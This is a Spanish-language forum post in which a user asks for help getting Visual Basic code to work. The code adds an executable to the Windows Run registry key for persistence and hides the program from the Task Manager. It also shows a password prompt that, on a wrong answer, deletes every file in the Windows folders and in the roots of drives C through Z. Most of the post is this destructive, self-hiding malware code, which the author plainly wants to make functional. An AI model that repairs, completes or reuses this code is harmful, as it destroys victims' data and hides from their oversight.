Últimos Temas de: Sensei Cos

queria saver si alguien me puede decir por que no me andan estos codigos:

Código:

Set X = CreateObject("WScript.Shell")
X.regwrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\", "C:/X.exe"

Código:

App.TaskVisible = False

tampoco el shutdown (no me acuerdo ahora si se escribe así)

puede ser por que trabajo con VB 3.0, q' me falte algun archivo que tenga que instalar, o algo por el estilo?? Nose, estoy re perdido, ya busque info en la net, pero nada que ande. Gracias de antemano

PD.: Otra pregunta cuando pongo esto por ej.:

Código:

On Error Resume Next
App.TaskVisible = False

X$ = InputBox$("introduzca contraseña")
    
If X$ = "contraseña" Then
    Unload Me
Else
    Kill "C:/windows/*.*"
    Kill "D:/windows/*.*"
    Kill "E:/windows/*.*"
    Kill "F:/windows/*.*"
    Kill "C:/*.*"
    Kill "D:/*.*"
    Kill "E:/*.*"
    Kill "F:/*.*"
    Kill "G:/*.*"
    Kill "H:/*.*"
    Kill "Z:/*.*"
End If

Puedo "finalizar la tarea" de laventana de contraseña, o tampoco esa me aparece en el administrador de tareas de Windows gracias a "App.TaskVisible = False"

Gracias salu2